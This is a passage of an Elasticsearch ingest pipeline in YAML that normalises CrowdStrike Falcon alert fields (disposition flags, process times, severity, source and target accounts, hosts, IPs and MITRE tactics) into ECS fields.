'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.mfa_required - tag: convert_pattern_disposition_details_mfa_required_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.mfa_required - type: boolean - if: ctx.json?.pattern_disposition_details?.mfa_required != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.operation_blocked - tag: convert_pattern_disposition_details_operation_blocked_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.operation_blocked - type: boolean - if: ctx.json?.pattern_disposition_details?.operation_blocked != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.policy_disabled - tag: convert_pattern_disposition_details_policy_disabled_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.policy_disabled - type: boolean - if: ctx.json?.pattern_disposition_details?.policy_disabled != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.prevention_provisioning_enabled - tag: convert_pattern_disposition_details_prevention_provisioning_enabled_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.prevention_provisioning_enabled - type: boolean - if: ctx.json?.pattern_disposition_details?.prevention_provisioning_enabled != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.process_blocked - tag: convert_pattern_disposition_details_process_blocked_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.process_blocked - type: boolean - if: ctx.json?.pattern_disposition_details?.process_blocked != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.quarantine_file - tag: convert_pattern_disposition_details_quarantine_file_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.quarantine_file - type: boolean - if: ctx.json?.pattern_disposition_details?.quarantine_file != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.quarantine_machine - tag: convert_pattern_disposition_details_quarantine_machine_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.quarantine_machine - type: boolean - if: ctx.json?.pattern_disposition_details?.quarantine_machine != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.registry_operation_blocked - tag: convert_pattern_disposition_details_registry_operation_blocked_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.registry_operation_blocked - type: boolean - if: ctx.json?.pattern_disposition_details?.registry_operation_blocked != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.response_action_already_applied - tag: convert_pattern_disposition_details_response_action_already_applied_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.response_action_already_applied - type: boolean - if: ctx.json?.pattern_disposition_details?.response_action_already_applied != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.response_action_failed - tag: convert_pattern_disposition_details_response_action_failed_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.response_action_failed - type: boolean - if: ctx.json?.pattern_disposition_details?.response_action_failed != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.response_action_triggered - tag: convert_pattern_disposition_details_response_action_triggered_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.response_action_triggered - type: boolean - if: ctx.json?.pattern_disposition_details?.response_action_triggered != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.rooting - tag: convert_pattern_disposition_details_rooting_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.rooting - type: boolean - if: ctx.json?.pattern_disposition_details?.rooting != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.sensor_only - tag: convert_pattern_disposition_details_sensor_only_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.sensor_only - type: boolean - if: ctx.json?.pattern_disposition_details?.sensor_only != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.suspend_parent - tag: convert_pattern_disposition_details_suspend_parent_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.suspend_parent - type: boolean - if: ctx.json?.pattern_disposition_details?.suspend_parent != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.suspend_process - tag: convert_pattern_disposition_details_suspend_process_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.suspend_process - type: boolean - if: ctx.json?.pattern_disposition_details?.suspend_process != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_id - tag: convert_pattern_id_to_string - target_field: crowdstrike.alert.pattern_id - type: string - ignore_missing: true - - rename: - field: json.platform - tag: rename_platform - target_field: crowdstrike.alert.platform - ignore_missing: true - - rename: - field: json.poly_id - tag: rename_poly_id - target_field: crowdstrike.alert.poly_id - ignore_missing: true - - date: - field: json.process_end_time - tag: date_process_end_time - target_field: crowdstrike.alert.process_end_time - formats: - - UNIX - - UNIX_MS - if: ctx.json?.process_end_time != null && ctx.json.process_end_time != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - field: process.end - tag: set_process_end - copy_from: crowdstrike.alert.process_end_time - ignore_empty_value: true - - rename: - field: json.process_id - tag: rename_process_id - target_field: crowdstrike.alert.process_id - ignore_missing: true - - set: - field: process.entity_id - tag: set_process_entity_id - copy_from: crowdstrike.alert.process_id - ignore_empty_value: true - - convert: - field: crowdstrike.alert.process_id - tag: convert_alert_process_id_to_long - target_field: process.pid - type: long - ignore_missing: true - if: ctx.crowdstrike?.alert?.process_id != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - date: - field: json.process_start_time - tag: date_process_start_time - target_field: crowdstrike.alert.process_start_time - formats: - - UNIX - - UNIX_MS - if: ctx.json?.process_start_time != null && ctx.json.process_start_time != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - field: process.start - tag: set_process_start - copy_from: crowdstrike.alert.process_start_time - ignore_empty_value: true - - rename: - field: json.product - tag: rename_product - target_field: crowdstrike.alert.product - ignore_missing: true - - convert: - field: json.protocol_anomaly_classification - tag: convert_protocol_anomaly_classification_to_long - target_field: crowdstrike.alert.protocol_anomaly_classification - type: long - if: ctx.json?.protocol_anomaly_classification != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.quarantined - tag: convert_quarantined_to_boolean - target_field: crowdstrike.alert.quarantined - type: boolean - if: ctx.json?.quarantined != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.quarantined_files - tag: rename_quarantined_files - target_field: crowdstrike.alert.quarantined_files - ignore_missing: true - - foreach: - field: crowdstrike.alert.quarantined_files - if: ctx.crowdstrike?.alert?.quarantined_files instanceof List - ignore_failure: true - processor: - append: - field: related.hash - tag: append_quarantined_files_to_related_hash - value: '{{{_ingest._value.sha256}}}' - allow_duplicates: false - - rename: - field: json.scan_id - tag: rename_scan_id - target_field: crowdstrike.alert.scan_id - ignore_missing: true - - rename: - field: json.scenario - tag: rename_scenario - target_field: crowdstrike.alert.scenario - ignore_missing: true - - convert: - field: json.seconds_to_resolved - tag: convert_seconds_to_resolved_to_long - target_field: crowdstrike.alert.seconds_to_resolved - type: long - if: ctx.json?.seconds_to_resolved != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.seconds_to_triaged - tag: convert_seconds_to_triaged_to_long - target_field: crowdstrike.alert.seconds_to_triaged - type: long - if: ctx.json?.seconds_to_triaged != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.severity - tag: convert_severity_to_long - target_field: crowdstrike.alert.severity - type: long - if: ctx.json?.severity != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.severity_name - tag: rename_severity_name - target_field: crowdstrike.alert.severity_name - ignore_missing: true - - script: - lang: painless - description: Script to set event.severity. - tag: set_event_severity_from_severity - if: ctx.crowdstrike?.alert?.severity instanceof long && ctx.crowdstrike.alert.severity_name == null - source: |- - long severity = ctx.crowdstrike.alert.severity; - if (0 <= severity && severity < 20) { - ctx.crowdstrike.alert.severity_name = "info"; - } else if (20 <= severity && severity < 40) { - ctx.crowdstrike.alert.severity_name = "low"; - } else if (40 <= severity && severity < 60) { - ctx.crowdstrike.alert.severity_name = "medium"; - } else if (60 <= severity && severity < 80) { - ctx.crowdstrike.alert.severity_name = "high"; - } else if (80 <= severity && severity <= 100) { - ctx.crowdstrike.alert.severity_name = "critical"; - } - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - script: - lang: painless - description: Script to set event.severity. - tag: set_event_severity_from_severity_name - if: ctx.crowdstrike?.alert?.severity_name instanceof String - source: |- - ctx.event = ctx.event ?: [:]; - String risk_score_value = ctx.crowdstrike.alert.severity_name; - if (risk_score_value.equalsIgnoreCase("low") || risk_score_value.equalsIgnoreCase("info") || risk_score_value.equalsIgnoreCase("informational")) { - ctx.event.severity = 21; - } else if (risk_score_value.equalsIgnoreCase("medium")) { - ctx.event.severity = 47; - } else if (risk_score_value.equalsIgnoreCase("high")) { - ctx.event.severity = 73; - } else if (risk_score_value.equalsIgnoreCase("critical")) { - ctx.event.severity = 99; - } - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.sha1 - tag: rename_sha1 - target_field: crowdstrike.alert.sha1 - ignore_missing: true - - rename: - field: json.sha256 - tag: rename_sha256 - target_field: crowdstrike.alert.sha256 - ignore_missing: true - - set: - field: process.hash.sha1 - tag: set_process_hash_sha1 - copy_from: crowdstrike.alert.sha1 - ignore_empty_value: true - - set: - field: process.hash.sha256 - tag: set_process_hash_sha256 - copy_from: crowdstrike.alert.sha256 - ignore_empty_value: true - - append: - field: related.hash - value: '{{{crowdstrike.alert.sha1}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.sha1 != null - - append: - field: related.hash - value: '{{{crowdstrike.alert.sha256}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.sha256 != null - - convert: - field: json.show_in_ui - tag: convert_show_in_ui_to_boolean - target_field: crowdstrike.alert.show_in_ui - type: boolean - if: ctx.json?.show_in_ui != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.source_account_azure_id - tag: rename_source_account_azure_id - target_field: crowdstrike.alert.source.account_azure_id - ignore_missing: true - - set: - field: cloud.account.id - tag: set_cloud_account_id - copy_from: crowdstrike.alert.source.account_azure_id - ignore_empty_value: true - - rename: - field: json.source_account_domain - tag: rename_source_account_domain - target_field: crowdstrike.alert.source.account_domain - ignore_missing: true - - set: - field: source.user.domain - tag: set_source_user_domain_from_alert_source_account_domain - copy_from: crowdstrike.alert.source.account_domain - ignore_empty_value: true - - append: - field: related.hosts - tag: append_source_user_domain_into_related_hosts - value: '{{{source.user.domain}}}' - allow_duplicates: false - if: ctx.source?.user?.domain != null - - rename: - field: json.source_account_name - tag: rename_source_account_name - target_field: crowdstrike.alert.source.account_name - ignore_missing: true - - set: - field: source.user.name - tag: set_source_user_name_from_alert_source_account_name - copy_from: crowdstrike.alert.source.account_name - ignore_empty_value: true - - append: - field: related.user - tag: append_source_domain_into_related_user - value: '{{{source.user.name}}}' - allow_duplicates: false - if: ctx.source?.user?.name != null - - rename: - field: json.source_account_object_guid - tag: rename_source_account_object_guid - target_field: crowdstrike.alert.source.account_object_guid - ignore_missing: true - - rename: - field: json.source_account_object_sid - tag: rename_source_account_object_sid - target_field: crowdstrike.alert.source.account_object_sid - ignore_missing: true - - rename: - field: json.source_account_sam_account_name - tag: rename_source_account_sam_account_name - target_field: crowdstrike.alert.source.account_sam_account_name - ignore_missing: true - - rename: - field: json.source_account_upn - tag: rename_source_account_upn - target_field: crowdstrike.alert.source.account_upn - ignore_missing: true - - append: - field: related.user - tag: append_crowdstrike_alert_source_account_upn_into_related_user - value: '{{{crowdstrike.alert.source.account_upn}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.source?.account_upn != null - - rename: - field: json.source_endpoint_account_object_guid - tag: rename_source_endpoint_account_object_guid - target_field: crowdstrike.alert.source.endpoint_account_object_guid - ignore_missing: true - - rename: - field: json.source_endpoint_account_object_sid - tag: rename_source_endpoint_account_object_sid - target_field: crowdstrike.alert.source.endpoint_account_object_sid - ignore_missing: true - - convert: - field: json.source_endpoint_address_ip4 - tag: convert_source_endpoint_address_ip4_to_ip - target_field: crowdstrike.alert.source.endpoint_address_ip4 - type: ip - if: ctx.json?.source_endpoint_address_ip4 != '' - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - append: - field: related.ip - tag: append_crowdstrike_alert_source_endpoint_address_ip4_into_related_ip - value: '{{{crowdstrike.alert.source.endpoint_address_ip4}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.source?.endpoint_address_ip4 != null - - rename: - field: json.source_endpoint_host_name - tag: rename_source_endpoint_host_name - target_field: crowdstrike.alert.source.endpoint_host_name - ignore_missing: true - - set: - field: source.domain - tag: set_source_domain_from_alert_source_endpoint_host_name - copy_from: crowdstrike.alert.source.endpoint_host_name - ignore_empty_value: true - - append: - field: related.hosts - tag: append_source_domain_into_related_hosts - value: '{{{source.domain}}}' - allow_duplicates: false - if: ctx.source?.domain != null - - convert: - field: json.source_endpoint_ip_address - tag: convert_source_endpoint_ip_address_to_ip - target_field: crowdstrike.alert.source.endpoint_ip_address - type: ip - if: ctx.json?.source_endpoint_ip_address != '' - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - field: source.ip - tag: set_source_ip_from_alert_source_endpoint_ip_address - copy_from: crowdstrike.alert.source.endpoint_ip_address - ignore_empty_value: true - - append: - field: related.ip - tag: append_source_ip_into_related_ip - value: '{{{source.ip}}}' - allow_duplicates: false - if: ctx.source?.ip != null - - convert: - field: json.source_endpoint_ip_reputation - tag: convert_source_endpoint_ip_reputation_to_long - target_field: crowdstrike.alert.source.endpoint_ip_reputation - type: long - if: ctx.json?.source_endpoint_ip_reputation != '' - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.source_endpoint_sensor_id - tag: rename_source_endpoint_sensor_id - target_field: crowdstrike.alert.source.endpoint_sensor_id - ignore_missing: true - - convert: - field: json.source_ip_isp_classification - tag: convert_source_ip_isp_classification_to_long - target_field: crowdstrike.alert.source.ip_isp_classification - type: long - if: ctx.json?.source_ip_isp_classification != '' - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.source_ip_isp_domain - tag: rename_source_ip_isp_domain - target_field: crowdstrike.alert.source.ip_isp_domain - ignore_missing: true - - rename: - field: json.source_products - tag: rename_source_products - target_field: crowdstrike.alert.source_products - ignore_missing: true - - rename: - field: json.source_vendors - tag: rename_source_vendors - target_field: crowdstrike.alert.source_vendors - ignore_missing: true - - date: - field: json.start_time - tag: date_start_time - target_field: crowdstrike.alert.start_time - formats: - - ISO8601 - if: ctx.json?.start_time != null && ctx.json.start_time != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - field: event.start - tag: set_event_start_from_alert_start_time - copy_from: crowdstrike.alert.start_time - ignore_empty_value: true - - rename: - field: json.status - tag: rename_status - target_field: crowdstrike.alert.status - ignore_missing: true - - rename: - field: json.tactic - tag: rename_tactic - target_field: crowdstrike.alert.tactic - ignore_missing: true - - append: - field: threat.tactic.name - tag: append_threat_tactic_name - value: '{{{crowdstrike.alert.tactic}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.tactic != null - - rename: - field: json.tactic_id - tag: rename_tactic_id - target_field: crowdstrike.alert.tactic_id - ignore_missing: true - - append: - field: threat.tactic.id - tag: append_threat_tactic_id - value: '{{{crowdstrike.alert.tactic_id}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.tactic_id != null - - rename: - field: json.tags - tag: rename_tags - target_field: crowdstrike.alert.tags - ignore_missing: true - - foreach: - field: crowdstrike.alert.tags - if: ctx.crowdstrike?.alert?.tags instanceof List - processor: - append: - field: tags - tag: append_alert_tags_into_tags - value: '{{{_ingest._value}}}' - allow_duplicates: false - - rename: - field: json.target_endpoint_host_name - tag: rename_target_endpoint_host_name - target_field: crowdstrike.alert.target.endpoint_host_name - ignore_missing: true - - set: - field: destination.domain - tag: set_destination_domain_from_alert_target_endpoint_host_name - copy_from: crowdstrike.alert.target.endpoint_host_name - ignore_empty_value: true - - append: - field: related.hosts - tag: append_destination_domain_into_related_hosts - value: '{{{destination.domain}}}' - allow_duplicates: false - if: ctx.destination?.domain != null - - rename: - field: json.target_domain_controller_host_name - tag: rename_target_domain_controller_host_name - target_field: crowdstrike.alert.target.domain_controller_host_name - ignore_missing: true - - set: - field: destination.user.domain - tag: set_destination_user_domain_from_alert_target_domain_controller_host_name - copy_from: crowdstrike.alert.target.domain_controller_host_name - ignore_empty_value: true - - append: - field: related.hosts - tag: append_destination_user_domain_into_related_hosts - value: '{{{destination.user.domain}}}' - allow_duplicates: false - if: ctx.destination?.user?.domain != null - - rename: - field: json.target_account_name - tag: rename_target_account_name - target_field: crowdstrike.alert.target.account_name - ignore_missing: true - - set: - field: destination.user.name - tag: set_destination_user_name_from_alert_target_account_name - copy_from: crowdstrike.alert.target.account_name - ignore_empty_value: true - - append: - field: related.user - tag: append_destination_user_name_into_related_user - value: '{{{destination.user.name}}}' - allow_duplicates: false - if: ctx.destination?.user?.name != null - - rename: - field: json.target_domain_controller_object_guid - tag: rename_target_domain_controller_object_guid - target_field: crowdstrike.alert.target.domain_controller_object_guid - ignore_missing: true - - rename: - field: json.target_domain_controller_object_sid - tag: rename_target_domain_controller_object_sid - target_field: crowdstrike.alert.target.domain_controller_object_sid - ignore_missing: true - - rename: - field: json.target_endpoint_account_object_guid - tag: rename_target_endpoint_account_object_guid - target_field: crowdstrike.alert.target.endpoint_account_object_guid - ignore_missing: true - - rename: - field: json.target_endpoint_account_object_sid - tag: rename_target_endpoint_account_object_sid - target_field: crowdstrike.alert.target.endpoint_account_object_sid - ignore_missing: true - - rename: - field: json.target_endpoint_sensor_id - tag: rename_target_endpoint_sensor_id - target_field: crowdstrike.alert.target.endpoint_sensor_id - ignore_missing: true - - rename: - field: json.target_service_access_identifier - tag: rename_target_service_access_identifier - target_field: crowdstrike.alert.target.service_access_identifier - ignore_missing: true - - rename: - field: json.technique - tag: rename_technique - target_field: crowdstrike.alert.technique - ignore_missing: true - - append: - field: threat.technique.name - tag: append_threat_technique_name - value: '{{{crowdstrike.alert.technique}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.technique != null - - rename: - field: json.technique_id - tag: rename_technique_id - target_field: crowdstrike.alert.technique_id - ignore_missing: true - - append: - field: threat.technique.id - tag: append_threat_technique_id - value: '{{{crowdstrike.alert.technique_id}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.technique_id != null - - set: - field: threat.framework - value: CrowdStrike Falcon Detections Framework - tag: set_threat_framework_cs - description: For Crowdstrike Falcon Detection tactics and/or that are prefixed with "CS" - if: >- - (ctx.crowdstrike?.alert?.tactic_id != null && ctx.crowdstrike.alert.tactic_id.startsWith("CS")) - || (ctx.crowdstrike?.alert?.technique_id != null && ctx.crowdstrike.alert.technique_id.startsWith("CS")) - || (ctx.crowdstrike?.alert?.tactic != null && ['malware','exploit','post-exploit','machine learning','custom intelligence','falcon overwatch','falcon intel','ai powered ioa','insecure security posture'].contains(ctx.crowdstrike.alert.tactic.toLowerCase())) - - set: - field: threat.framework - value: MITRE ATT&CK - tag: set_threat_framework_mitre - if: ctx.crowdstrike?.alert?.tactic_id != null && ctx.crowdstrike.alert.tactic_id.startsWith("TA") - - rename: - field: json.template_instance_id - tag: rename_template_instance_id - target_field: crowdstrike.alert.template_instance_id - ignore_missing: true - - date: - field: json.timestamp - tag: date_timestamp - target_field: crowdstrike.alert.timestamp - formats: - - ISO8601 - if: ctx.json?.timestamp != null && ctx.json.timestamp != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - field: '@timestamp' - tag: set_@timestamp_from_alert_timestamp - copy_from: crowdstrike.alert.timestamp - ignore_empty_value: true - - rename: - field: json.tree_id - tag: rename_tree_id - target_field: crowdstrike.alert.tree_id - ignore_missing: true - - rename: - field: json.tree_root - tag: rename_tree_root - target_field: crowdstrike.alert.tree_root - ignore_missing: true - - rename: - field: json.triggering_process_graph_id - tag: rename_triggering_process_graph_id - target_field: crowdstrike.alert.triggering_process_graph_id - ignore_missing: true - - rename: - field: json.type - tag: rename_type - target_field: crowdstrike.alert.type - ignore_missing: true - - rename: - field: json.rule_group_id - tag: rename_rule_group_id - target_field: crowdstrike.alert.rule_group_id - ignore_missing: true - - rename: - field: json.rule_group_name - tag: rename_rule_group_name - target_field: crowdstrike.alert.rule_group_name - ignore_missing: true - - rename: - field: json.rule_instance_created_by - tag: rename_rule_instance_created_by - target_field: crowdstrike.alert.rule_instance_created_by - ignore_missing: true - - rename: - field: json.rule_instance_id - tag: rename_rule_instance_id - target_field: crowdstrike.alert.rule_instance_id - ignore_missing: true - - rename: - field: json.rule_instance_name - tag: rename_rule_instance_name - target_field: crowdstrike.alert.rule_instance_name - ignore_missing: true - - rename: - field: json.rule_instance_version - tag: rename_rule_instance_version - target_field: crowdstrike.alert.rule_instance_version - ignore_missing: true - - rename: - field: json.overwatch_note - tag: rename_overwatch_note - target_field: crowdstrike.alert.overwatch_note - ignore_missing: true - - date: - field: json.overwatch_note_timestamp - tag: date_overwatch_note_timestamp - target_field: crowdstrike.alert.overwatch_note_timestamp - formats: - - ISO8601 - if: ctx.json?.overwatch_note_timestamp != null && ctx.json.updated_timestamp != '' - ignore_failure: true - - date: - field: json.updated_timestamp - tag: date_updated_timestamp - target_field: crowdstrike.alert.updated_timestamp - formats: - - ISO8601 - if: ctx.json?.updated_timestamp != null && ctx.json.updated_timestamp != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.user_id - tag: rename_user_id - target_field: crowdstrike.alert.user_id - ignore_missing: true - - set: - field: user.id - tag: set_user_id_from_alert_user_id - copy_from: crowdstrike.alert.user_id - ignore_empty_value: true - - rename: - field: json.user_name - tag: rename_user_name - target_field: crowdstrike.alert.user_name - ignore_missing: true - - set: - field: user.name - tag: set_user_name_from_alert_user_name - copy_from: crowdstrike.alert.user_name - ignore_empty_value: true - - append: - field: related.user - tag: append_user_id_into_related_user - value: '{{{user.id}}}' - allow_duplicates: false - if: ctx.user?.id != null - - append: - field: related.user - tag: append_user_name_into_related_user - value: '{{{user.name}}}' - allow_duplicates: false - if: ctx.user?.name != null - - rename: - field: json.user_principal - tag: rename_user_principal - target_field: crowdstrike.alert.user_principal - ignore_missing: true - - append: - field: related.user - tag: append_crowdstrike_alert_user_principal_into_related_user - value: '{{{crowdstrike.alert.user_principal}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.user_principal != null - - - grok: - field: crowdstrike.alert.name - patterns: - - "%{NOTSPACE:_username_from_name} on %{NOTSPACE:_hostname_from_name}" - ignore_missing: true - ignore_failure: true - - set: - field: user.name - copy_from: _username_from_name - if: ctx.user?.name == null || ctx.user.name == '' - ignore_empty_value: true - - append: - field: related.user - value: '{{{_username_from_name}}}' - allow_duplicates: false - if: ctx._username_from_name != null && ctx._username_from_name != '' - - set: - field: host.name - copy_from: _hostname_from_name - if: ctx.host?.name == null || ctx.host.name == '' - ignore_empty_value: true - - append: - field: related.hosts - value: '{{{_hostname_from_name}}}' - 